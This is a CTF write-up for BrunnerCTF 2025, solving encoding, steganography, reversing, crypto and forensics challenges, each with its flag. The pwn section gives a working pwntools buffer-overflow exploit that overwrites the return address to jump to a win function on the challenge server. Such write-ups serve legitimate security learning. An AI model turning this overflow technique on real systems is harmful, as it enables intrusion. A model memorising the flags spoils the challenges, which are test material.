# BrunnerCTF 2025 ![image](https://hackmd.io/_uploads/ByuqJuuFeg.png) misc - [x] The Yeasy Key - [X] Pie Recipe - [x] Bakerman rev - [x] Trippi Troppa Chaos pwn - [x] Othello Villains for - [x] Memory Loss crypto - [x] Half-Baked - [x] The Complicated Recipe # misc ## The Yeast Key DNA -> binary -> ASCII ```python dna = "CGAGCTAGCTCCCGTGCGTGCGCCCTAGCTGTATACCGGCATAACGTGATATCGTACCTTCTAAATAACGGCATACATCACGTGATATCCTTCGTCATCAATCCATCTATATCTAGCCTTATAACGCGCCTTATCCATAACTCCCTAGCGCAATAACTCCATCGCGGACCTTCTAAATCAATCCATCCCTAACGGACTAGATCAATCCATATCCTTATACATCCCCTTCGATCTAGATAAATACATCCATCCATCACGTGATCTCCCGATCACTCCATACATCTAGACATGCATATCTTC" mapping = {'A':'00','C':'01','G':'10','T':'11'} bits = ''.join(mapping[b] for b in dna) # every 8 bits 1 byte decoded = ''.join(chr(int(bits[i:i+8],2)) for i in range(0,len(bits),8)) print(decoded) ``` ## Pie Recipe ``` 89|89.21|55.13.5.1|34.13.2|89.8.1|89.13.5.2|34.13.5.1|89.13.5.1|89.8.2|89.21|89.21.5|34.13.3.1|89.8|55.13|55.21.2|89.13|89.1|89.21.8.3.1|55.8.2|89.21.8.2|89.1|55.13|55.21.2|89.21.5.2|55.21.8.3.1|34.13.3.1|55.8.3|89.21.1|55.21.1|55.21.8.2|55.1|89.21.8.1|89.1|89.13.5.1|55.2|34.13.5.2|89.1|55.21.8.3|55.21.2|89.21.3.1|89.1|55.21.8.3|34.13.5.1|89.13.5|89.8.1|34.13.3.1|55.13.5.1|89.13.5.2|89.13|55.21.5|55.5.1|55.5.1 ``` - The Recipe of the Golden Phi - Author is baker Zeckendorf Golden Phi(φ, 1.618...) represent Fibonacci sequence Zeckendorf theorem -> Indicates that every positive integer can be uniquely decomposed into a combination of "non-adjacent Fibonacci numbers". ex : `55.13.5.1` -> 55+13+5+1=74 `.` : `+` `|` : seperate different letter **Decoding method** - Add up the numbers in each group → get a total. - Convert this total into its corresponding ASCII value → get a character. - Join the characters in order to reconstruct the message. ```python data = "89|89.21|55.13.5.1|34.13.2|89.8.1|89.13.5.2|34.13.5.1|89.13.5.1|89.8.2|89.21|89.21.5|34.13.3.1|89.8|55.13|55.21.2|89.13|89.1|89.21.8.3.1|55.8.2|89.21.8.2|89.1|55.13|55.21.2|89.21.5.2|55.21.8.3.1|34.13.3.1|55.8.3|89.21.1|55.21.1|55.21.8.2|55.1|89.21.8.1|89.1|89.13.5.1|55.2|34.13.5.2|89.1|55.21.8.3|55.21.2|89.21.3.1|89.1|55.21.8.3|34.13.5.1|89.13.5|89.8.1|34.13.3.1|55.13.5.1|89.13.5.2|89.13|55.21.5|55.5.1|55.5.1" out = "" for block in data.split("|"): num = sum(int(x) for x in block.split(".")) out += chr(num) print(out) ``` brunner{7h3_g01d3n_ph1_0f_zeckendorf} ## Bakerman find out that it is `.mp3`,but it actually file type is ZIP and this was been tag in `Steganography` ``` mv SportsCar.mp3 SportsCar.zip unzip SportsCar.zip zsteg SportsCar.png ``` it looks like base64 encoding ![image](https://hackmd.io/_uploads/H1k-ewdYlx.png) decode it ``` first : SSBsb3ZlIG11c2ljIHdoZW4gSSBiYWtlLCBodHRwczovL3d3dy55b3V0dWJlLmNvbS93YXRjaD92PXh2RlpqbzVQZ0cwDQpVVEpHY2xwVFFtdGlNMVp1WVVSdlRrTnFTWGRKUjJOblpWZFdhR016VVU1RGFrVm5Xa2QzWjJKWGJITmhlWGRuWTIwNWRtSlRRakJhVnpGM1dsaEthR1JJVm5sYVVUQkxUa1JCWjFwNVFtbGtXRkl3 first deocde result : Cake dough: 20 g yeast 1 dl milk, room temperature 40 g butt second : V2xoSlRrTnFSV2RhVjJSdVJGRnZNRTFEUW01SlNFNHhXakpHZVVSUmIzZE1hbFYzU1VoU2VtTkRRbnBaVjNnd1JGRnZlRWxJUW5CaWJVNXZTVWRrZVdJelZuVmFRMEpxV1ZoS2ExbFhNWFppVVRCTFRXcFZkMGxIWTJka01taHNXVmhSWjFwdGVIWmtXRWxPUTJjd1MxbHVTakZpYlRWc1kyNTBUMDFJWkdabFZFSXhXREIwZFUx first deocde result : er 1 egg 40 g sugar 0.50 tsp salt 1 pinch ground cardamom 250 g wheat flour brunner{N0w_y0u_Kn ``` it sounds like giving us some recipe so i guess flag is now you know the recipe brunner{N0w_y0u_Kn0w_th3_r3c1p3} # rev ## Trippi Troppa Chaos I put it into gpt and get this stuff **Given** - `output.txt` (Base85 string) ``` qjuA_QZVI_ua24NQ}fM1hX4ecdyVShKb2vJjeQJ@Jz=zws0^9Enr1fR+Em_5w2j=p4)2<#m3EZ?m3Oo@ ``` - Obfuscated encoder (Python) The encoder does: 1. `key = b"skibidi"` 2. `step_one = SHA-256("skibidiskibidi")[:7]` 3. `step_two = XOR(flag, cycle(step_one))` 4. `step_three = [(b * 7) % 256 for b in step_two]` 5. `step_four = reverse(step_three)` 6. `output = base64.b85encode(step_four)` To **decrypt**, invert each step in reverse order: 1. `step_four = base64.b85decode(output)` 2. `step_three = reverse(step_four)` 3. `step_two = [(b * inv7) % 256 for b in step_three]` with `inv7 = 183` since `7 * 183 ≡ 1 (mod 256)` 4. `flag = XOR(step_two, cycle(SHA-256("skibidiskibidi")[:7]))` ```python= import base64, hashlib, itertools out_str = "qjuA_QZVI_ua24NQ}fM1hX4ecdyVShKb2vJjeQJ@Jz=zws0^9Enr1fR+Em_5w2j=p4)2<#m3EZ?m3Oo@" data = base64.b85decode(out_str.encode()) # 1) Base85 解碼 rev = data[::-1] # 2) 反轉 inv7 = 183 # 3) 7 的模 256 乘法逆元 after = bytes((b*inv7) % 256 for b in rev) key7 = hashlib.sha256(b"skibidiskibidi").digest()[:7] # 4) 取前 7 bytes flag = bytes(b ^ k for b, k in zip(after, itertools.cycle(key7))) print(flag.decode()) ``` brunner{tr4l4l3r0_b0mb4rd1r0_r3v3rs3_3ng1n33r1ng_sk1b1d1_m4st3r} # pwn ## Othello Villains reverse found out there is a win function ![image](https://hackmd.io/_uploads/HkE2jvutgl.png) and main function is very clearly got bof issue ![image](https://hackmd.io/_uploads/BJ6c2vuYge.png) checksec ![image](https://hackmd.io/_uploads/SJyJ3P_Fgg.png) win function address is `0x4012ae win ` **Exploit** ```python from pwn import * context.arch = 'amd64' #r = process('./othelloserver') r = remote("othello-villains-efd311d1e53488f4.challs.brunnerne.xyz", 443, ssl=True) win_address = 0x4012ae payload = b'A' * 40 + p64(win_address) r.sendlineafter(b'??',payload) r.interactive() ``` brunner{0th3ll0_is_inf3ri0r_t0_brunn3r} # for ## Memory Loss `.dump` : is a snapshot of an application's state at the moment it was captured, typically during an error or crash and CTF says "a picture of it, but where did I put it?",so we can try to find the picture in `.dump` file `.dump` can see it is a `MS Windows 64bit crash dump` ![image](https://hackmd.io/_uploads/SkkbwP_Klg.png) usefull tool for forensic => https://github.com/volatilityfoundation/volatility3 ``` vol -f memoryloss.dmp windows.filescan | grep -iE "jpg|png" ``` ![image](https://hackmd.io/_uploads/r1OvFP_Kgl.png) try to dump png file out ``` vol -f memoryloss.dmp -o dumped_files windows.dumpfiles --virtaddr 0xb207c3ab6c40 ``` ![image](https://hackmd.io/_uploads/r1mxsDdYxe.png) brunner{0h_my_84d_17_w45_ju57_1n_my_m3m0ry} # crypto ## Half-Baked it says "remember to use some good primes" ```python= # Python 3.8+(因為用到 pow(..., -1, mod) 來算模反元素) n = 2999882211429630485883650302877390551374775896896788078868325571891218714007953558505041388044334470201821965796391409921668122818083570668568660678895962925314655342154580738160357641047430373917156721861167458749434940591017306495880180805391185380307427539761080193213111534709378234670214284858143824384128077373871882033779166821558334466322908873171079631967672353755842618738501413251304204009472 e = 65537 c = 406899880095774364291729342954053590589397159355690238625035627993181937179155345315119680672959072539867481892078815991872758149967716015787715641627573675995588117336214614607141418649060621601912927211427125930492034626696064268888134600578061035823593102305974307471288655933533166631878786592162718700742194241218161182091193661813824775250046054642533470046107935752737753871183553636510066553725 # 1) 確認 n = 2^k k = n.bit_length() - 1 assert (1 << k) == n, "n 不是 2 的冪,這題就不是 2^k 模組的情況了" # 2) 在 Z/(2^k) 中的單位集合是所有奇數。其大小為 phi(2^k) = 2^(k-1) phi = 1 << (k - 1) # 3) 求 d = e^{-1} (mod 2^(k-1)) (e 為奇數 => 與 2^(k-1) 互質 => 逆元存在) d = pow(e, -1, phi) # 4) 解密:m = c^d mod 2^k m = pow(c, d, n) # 5) 轉成可讀字串(依題型常見為 ASCII) m_hex = hex(m)[2:] if len(m_hex) % 2 == 1: m_hex = "0" + m_hex # 長度補齊 try: m_bytes = bytes.fromhex(m_hex) m_text = m_bytes.decode("utf-8") # 也可換成 'latin-1' 或 'ascii' except UnicodeDecodeError: m_text = None print("[*] k =", k) print("[*] m (hex) =", "0x" + m_hex) print("[*] m (text) =", m_text) # 6) 驗證:重新加密看看是否回到 c assert pow(m, e, n) == c, "驗證失敗:m^e mod n != c" print("[*] 驗證 OK:m^e mod n == c") ``` brunner{s1ngl3_pr1m3_1s_d0ubl3_tr0ubl3} ## The Complicated Recipe given us this ciphertext : ``` D1D74C5F5FDDD7ECD8B29ED8019DD801B7F2AB0128573FB2019D1C018FF2E001E7B7F2870128F28701ABF20112E0D8AB015957E79EA2 ``` **The flavor text mentions:** - A “Master Baker Feistel” (hinting at a Feistel cipher). - References to DES, “trois DES,” and specifically S-DES. This strongly suggests that the ciphertext was encrypted with Simplified DES (S-DES), a toy version of DES often used for teaching. **Background: S-DES** - Block size: 8 bits. - Key size: 10 bits. - Structure: 2-round Feistel network with fixed permutation tables (P10, P8, IP, EP, P4, IP⁻¹, S-boxes S0 and S1). - Weakness: The entire keyspace is only 2¹⁰ = 1024 keys, so brute force is trivial. **Attack Plan** 1.Parse the ciphertext from hex into bytes. Each ciphertext byte corresponds to one plaintext byte because S-DES encrypts 8-bit blocks. 2.Implement S-DES (including subkey generation and encryption/decryption functions). 3.Brute-force all 1024 possible keys: - Generate subkeys K1 and K2 from the 10-bit candidate key. - Decrypt the ciphertext. - Check if the result looks like readable ASCII. 4.Validate the candidate plaintext by re-encrypting it and comparing to the ciphertext. **Exploit** ```python= #!/usr/bin/env python3 # S-DES (Simplified DES) brute-force decryptor + implementation # Tables per William Stallings (Computer Security) standard S-DES. P10 = [2,4,1,6,3,9,0,8,7,5] P8 = [5,2,6,3,7,4,9,8] IP = [1,5,2,0,3,7,4,6] IPINV = [3,0,2,4,6,1,7,5] EP = [3,0,1,2,1,2,3,0] P4 = [1,3,2,0] S0 = [ [1,0,3,2], [3,2,1,0], [0,2,1,3], [3,1,3,2] ] S1 = [ [0,1,2,3], [2,0,1,3], [3,0,1,0], [2,1,0,3] ] def permute(bits, table): return [bits[i] for i in table] def left_shift(bits, n): return bits[n:] + bits[:n] def bits_from_int(x, n): return [(x >> (n-1-i)) & 1 for i in range(n)] def int_from_bits(b): v = 0 for bit in b: v = (v << 1) | bit return v def sbox(bits, box): row = (bits[0] << 1) | bits[3] col = (bits[1] << 1) | bits[2] return bits_from_int(box[row][col], 2) def fk(bits8, subkey): L, R = bits8[:4], bits8[4:] ER = permute(R, EP) # E/P x = [a ^ b for a, b in zip(ER, subkey)] s0o = sbox(x[:4], S0) s1o = sbox(x[4:], S1) p4 = permute(s0o + s1o, P4) newL = [l ^ p for l, p in zip(L, p4)] return newL + R def make_subkeys(key10): kbits = bits_from_int(key10, 10) p10 = permute(kbits, P10) L, R = p10[:5], p10[5:] ls1 = left_shift(L, 1) + left_shift(R, 1) K1 = permute(ls1, P8) ls2 = left_shift(ls1[:5], 2) + left_shift(ls1[5:], 2) K2 = permute(ls2, P8) return K1, K2 def sdes_encrypt_byte(b, K1, K2): bits = bits_from_int(b, 8) x = permute(bits, IP) x = fk(x, K1) x = x[4:] + x[:4] # swap x = fk(x, K2) y = permute(x, IPINV) return int_from_bits(y) def sdes_decrypt_byte(b, K1, K2): bits = bits_from_int(b, 8) x = permute(bits, IP) x = fk(x, K2) # note K2 then K1 in decryption x = x[4:] + x[:4] x = fk(x, K1) y = permute(x, IPINV) return int_from_bits(y) def decrypt_with_key(ct_bytes, key10): K1, K2 = make_subkeys(key10) return bytes(sdes_decrypt_byte(b, K1, K2) for b in ct_bytes) def is_printable(pt: bytes) -> bool: return all((32 <= c <= 126) or c in (10, 13) for c in pt) def main(): hex_ct = "D1D74C5F5FDDD7ECD8B29ED8019DD801B7F2AB0128573FB2019D1C018FF2E001E7B7F2870128F28701ABF20112E0D8AB015957E79EA2" ct = bytes.fromhex(hex_ct) best = [] for key in range(1024): # 10-bit key space pt = decrypt_with_key(ct, key) if is_printable(pt): best.append((key, pt)) if not best: print("No printable candidate found.") return # Usually只有一組(這題確實只有一組) key, pt = best[0] try: txt = pt.decode("ascii") except: txt = pt.decode("latin-1") print(f"[*] Found key: {key} (binary: {key:010b})") print(f"[*] Plaintext (ASCII): {txt}") # 验证:用找到的明文重新加密回去看是否等于密文 K1, K2 = make_subkeys(key) reenc = bytes(sdes_encrypt_byte(b, K1, K2) for b in pt) assert reenc == ct, "Re-encryption mismatch" print("[*] Verification OK: E_K(PT) == CT") if __name__ == "__main__": main() ``` brunner{5D35_15_N0T_H4RD_1F_Y0U_KN0W_H0W_T0_JU5T_B4K3}